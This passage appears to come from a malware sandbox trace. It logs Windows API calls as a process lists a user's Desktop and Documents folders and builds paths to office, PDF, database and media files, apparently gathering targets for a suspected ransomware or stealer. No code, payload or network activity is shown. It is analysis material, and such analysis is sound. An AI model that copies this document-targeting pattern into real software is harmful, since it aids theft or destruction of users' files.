lpString1="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg" [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg") returned 50 [0123.930] lstrcpyW (in: lpString1=0x24b5210, lpString2="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\U_x855jOMDYCkkuEDF4Y.jpg" [0123.930] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.930] lstrcmpW (lpString1="VYQMONSJuegc.mp3", lpString2=".") returned 1 [0123.930] lstrcmpW (lpString1="VYQMONSJuegc.mp3", lpString2="..") returned 1 [0123.930] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.930] lstrlenW (lpString="VYQMONSJuegc.mp3") returned 16 [0123.931] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="VYQMONSJuegc.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3" [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3") returned 42 [0123.931] lstrcpyW (in: lpString1=0x24bb3a0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\VYQMONSJuegc.mp3" [0123.931] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.931] lstrcmpW (lpString1="w2L1Az-.m4a", lpString2=".") returned 1 [0123.931] lstrcmpW (lpString1="w2L1Az-.m4a", lpString2="..") returned 1 [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.931] lstrlenW (lpString="w2L1Az-.m4a") returned 11 [0123.931] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="w2L1Az-.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a") returned="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a" [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a") returned 37 [0123.931] lstrcpyW (in: lpString1=0x24bb400, lpString2="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a") returned="c:\\Users\\aETAdzjz\\Desktop\\w2L1Az-.m4a" [0123.931] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.931] lstrcmpW (lpString1="XLx9XFVUH.jpg", lpString2=".") returned 1 [0123.931] lstrcmpW (lpString1="XLx9XFVUH.jpg", lpString2="..") returned 1 [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.931] lstrlenW (lpString="XLx9XFVUH.jpg") returned 13 [0123.931] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="XLx9XFVUH.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg" [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg") returned 39 [0123.931] lstrcpyW (in: lpString1=0x24bb458, lpString2="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\XLx9XFVUH.jpg" [0123.931] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.931] lstrcmpW (lpString1="ZgiD.png", lpString2=".") returned 1 [0123.931] lstrcmpW (lpString1="ZgiD.png", lpString2="..") returned 1 [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.931] lstrlenW (lpString="ZgiD.png") returned 8 [0123.931] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="ZgiD.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png") returned="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png" [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png") returned 34 [0123.931] lstrcpyW (in: lpString1=0x24bb4b0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png") returned="c:\\Users\\aETAdzjz\\Desktop\\ZgiD.png" [0123.931] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.931] lstrcmpW (lpString1="~$knzkjo.doc", lpString2=".") returned 1 [0123.931] lstrcmpW (lpString1="~$knzkjo.doc", lpString2="..") returned 1 [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0123.931] lstrlenW (lpString="~$knzkjo.doc") returned 12 [0123.931] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="~$knzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc" [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc") returned 38 [0123.931] lstrcpyW (in: lpString1=0x24bb500, lpString2="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\~$knzkjo.doc" [0123.931] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.931] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.931] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.931] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0123.931] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.931] lstrlenW (lpString="Documents") returned 9 [0123.931] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Documents" | out: lpString1="c:\\Users\\aETAdzjz\\Documents") returned="c:\\Users\\aETAdzjz\\Documents" [0123.931] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\") returned="c:\\Users\\aETAdzjz\\Documents\\" [0123.931] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.931] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\*") returned="c:\\Users\\aETAdzjz\\Documents\\*" [0123.932] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Documents\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.932] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.932] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.932] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.932] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.932] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.932] lstrcmpW (lpString1="1af7s2.pdf", lpString2=".") returned 1 [0123.932] lstrcmpW (lpString1="1af7s2.pdf", lpString2="..") returned 1 [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.932] lstrlenW (lpString="1af7s2.pdf") returned 10 [0123.932] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="1af7s2.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf" [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf") returned 38 [0123.932] lstrcpyW (in: lpString1=0x24bb570, lpString2="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\1af7s2.pdf" [0123.932] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.932] lstrcmpW (lpString1="2SERkLWGvw2WR0dVkh.docx", lpString2=".") returned 1 [0123.932] lstrcmpW (lpString1="2SERkLWGvw2WR0dVkh.docx", lpString2="..") returned 1 [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.932] lstrlenW (lpString="2SERkLWGvw2WR0dVkh.docx") returned 23 [0123.932] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="2SERkLWGvw2WR0dVkh.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx") returned="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx" [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx") returned 51 [0123.932] lstrcpyW (in: lpString1=0x24b5280, lpString2="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx") returned="c:\\Users\\aETAdzjz\\Documents\\2SERkLWGvw2WR0dVkh.docx" [0123.932] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.932] lstrcmpW (lpString1="bnGTVm7.xlsx", lpString2=".") returned 1 [0123.932] lstrcmpW (lpString1="bnGTVm7.xlsx", lpString2="..") returned 1 [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.932] lstrlenW (lpString="bnGTVm7.xlsx") returned 12 [0123.932] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="bnGTVm7.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx" [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx") returned 40 [0123.932] lstrcpyW (in: lpString1=0x24bc558, lpString2="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\bnGTVm7.xlsx" [0123.932] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.932] lstrcmpW (lpString1="C40Oh8.xlsx", lpString2=".") returned 1 [0123.932] lstrcmpW (lpString1="C40Oh8.xlsx", lpString2="..") returned 1 [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.932] lstrlenW (lpString="C40Oh8.xlsx") returned 11 [0123.932] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="C40Oh8.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx" [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx") returned 39 [0123.932] lstrcpyW (in: lpString1=0x24bb5c8, lpString2="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\C40Oh8.xlsx" [0123.932] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.932] lstrcmpW (lpString1="C9bf3zXlekmUcEs.pptx", lpString2=".") returned 1 [0123.932] lstrcmpW (lpString1="C9bf3zXlekmUcEs.pptx", lpString2="..") returned 1 [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.932] lstrlenW (lpString="C9bf3zXlekmUcEs.pptx") returned 20 [0123.932] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="C9bf3zXlekmUcEs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx" [0123.932] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx") returned 48 [0123.933] lstrcpyW (in: lpString1=0x24b52f0, lpString2="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\C9bf3zXlekmUcEs.pptx" [0123.933] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.933] lstrcmpW (lpString1="Database1.accdb", lpString2=".") returned 1 [0123.933] lstrcmpW (lpString1="Database1.accdb", lpString2="..") returned 1 [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.933] lstrlenW (lpString="Database1.accdb") returned 15 [0123.933] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Database1.accdb" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb" [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned 43 [0123.933] lstrcpyW (in: lpString1=0x24bc5b8, lpString2="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb") returned="c:\\Users\\aETAdzjz\\Documents\\Database1.accdb" [0123.933] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.933] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0123.933] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.933] lstrlenW (lpString="desktop.ini") returned 11 [0123.933] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Documents\\desktop.ini" [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned 39 [0123.933] lstrcpyW (in: lpString1=0x24bb620, lpString2="c:\\Users\\aETAdzjz\\Documents\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Documents\\desktop.ini" [0123.933] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.933] lstrcmpW (lpString1="FQiUCeN.pptx", lpString2=".") returned 1 [0123.933] lstrcmpW (lpString1="FQiUCeN.pptx", lpString2="..") returned 1 [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.933] lstrlenW (lpString="FQiUCeN.pptx") returned 12 [0123.933] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="FQiUCeN.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx" [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx") returned 40 [0123.933] lstrcpyW (in: lpString1=0x24bc618, lpString2="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\FQiUCeN.pptx" [0123.933] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.933] lstrcmpW (lpString1="gU8x7JTYUiEeJlLB.docx", lpString2=".") returned 1 [0123.933] lstrcmpW (lpString1="gU8x7JTYUiEeJlLB.docx", lpString2="..") returned 1 [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.933] lstrlenW (lpString="gU8x7JTYUiEeJlLB.docx") returned 21 [0123.933] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="gU8x7JTYUiEeJlLB.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx") returned="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx" [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx") returned 49 [0123.933] lstrcpyW (in: lpString1=0x24b5360, lpString2="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx") returned="c:\\Users\\aETAdzjz\\Documents\\gU8x7JTYUiEeJlLB.docx" [0123.933] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.933] lstrcmpW (lpString1="g_3izHwQ87.docx", lpString2=".") returned 1 [0123.933] lstrcmpW (lpString1="g_3izHwQ87.docx", lpString2="..") returned 1 [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.933] lstrlenW (lpString="g_3izHwQ87.docx") returned 15 [0123.933] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="g_3izHwQ87.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx") returned="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx" [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx") returned 43 [0123.933] lstrcpyW (in: lpString1=0x24bc690, lpString2="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx") returned="c:\\Users\\aETAdzjz\\Documents\\g_3izHwQ87.docx" [0123.933] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.933] lstrcmpW (lpString1="HP0A.pptx", lpString2=".") returned 1 [0123.933] lstrcmpW (lpString1="HP0A.pptx", lpString2="..") returned 1 [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.933] lstrlenW (lpString="HP0A.pptx") returned 9 [0123.933] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="HP0A.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx" [0123.933] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx") returned 37 [0123.934] lstrcpyW (in: lpString1=0x24bb678, lpString2="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\HP0A.pptx" [0123.934] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.934] lstrcmpW (lpString1="iy0BS-wZvFAPifst.xlsx", lpString2=".") returned 1 [0123.934] lstrcmpW (lpString1="iy0BS-wZvFAPifst.xlsx", lpString2="..") returned 1 [0123.934] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.934] lstrlenW (lpString="iy0BS-wZvFAPifst.xlsx") returned 21 [0123.934] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="iy0BS-wZvFAPifst.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx" [0123.934] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx") returned 49 [0123.934] lstrcpyW (in: lpString1=0x24b53d0, lpString2="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\iy0BS-wZvFAPifst.xlsx" [0123.934] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.934] lstrcmpW (lpString1="jtfunIUKTuKB.rtf", lpString2=".") returned 1 [0123.934] lstrcmpW (lpString1="jtfunIUKTuKB.rtf", lpString2="..") returned 1 [0123.934] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.934] lstrlenW (lpString="jtfunIUKTuKB.rtf") returned 16 [0123.934] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="jtfunIUKTuKB.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf") returned="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf" [0123.934] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf") returned 44 [0123.934] lstrcpyW (in: lpString1=0x24bd690, lpString2="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf") returned="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf" [0123.934] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.934] lstrcmpW (lpString1="kjO Dw4y7j6PSDs.pptx", lpString2=".") returned 1 [0123.934] lstrcmpW (lpString1="kjO Dw4y7j6PSDs.pptx", lpString2="..") returned 1 [0123.934] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.934] lstrlenW (lpString="kjO Dw4y7j6PSDs.pptx") returned 20 [0123.934] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="kjO Dw4y7j6PSDs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx" [0123.934] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx") returned 48 [0123.934] lstrcpyW (in: lpString1=0x24be690, lpString2="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx" [0123.934] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.934] lstrcmpW (lpString1="kpRhFe62wLyHm_gju5i.xlsx", lpString2=".") returned 1 [0123.934] lstrcmpW (lpString1="kpRhFe62wLyHm_gju5i.xlsx", lpString2="..") returned 1 [0123.934] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.934] lstrlenW (lpString="kpRhFe62wLyHm_gju5i.xlsx") returned 24 [0123.934] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="kpRhFe62wLyHm_gju5i.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx" [0123.934] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx") returned 52 [0123.934] lstrcpyW (in: lpString1=0x24b8f18, lpString2="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx" [0123.935] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.935] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0123.935] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0123.935] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.935] lstrlenW (lpString="My Music") returned 8 [0123.935] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Music" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Music") returned="c:\\Users\\aETAdzjz\\Documents\\My Music" [0123.935] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.935] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0123.935] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0123.935] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.935] lstrlenW (lpString="My Pictures") returned 11 [0123.935] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Pictures" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Pictures") returned="c:\\Users\\aETAdzjz\\Documents\\My Pictures" [0123.935] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.935] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0123.935] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1 [0123.935] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.935] lstrlenW (lpString="My Shapes") returned 9 [0123.935] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Shapes" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Shapes") returned="c:\\Users\\aETAdzjz\\Documents\\My Shapes" [0123.935] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.935] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0123.935] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0123.935] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.935] lstrlenW (lpString="My Videos") returned 9 [0123.935] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Videos" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Videos") returned="c:\\Users\\aETAdzjz\\Documents\\My Videos" [0123.935] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.935] lstrcmpW (lpString1="nEyS-vVYoVcjNl64w.pdf", lpString2=".") returned 1 [0123.935] lstrcmpW (lpString1="nEyS-vVYoVcjNl64w.pdf", lpString2="..") returned 1 [0123.935] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0123.935] lstrlenW (lpString="nEyS-vVYoVcjNl64w.pdf") returned 21 [0123.935] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="nEyS-vVYoVcjNl64w.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf") 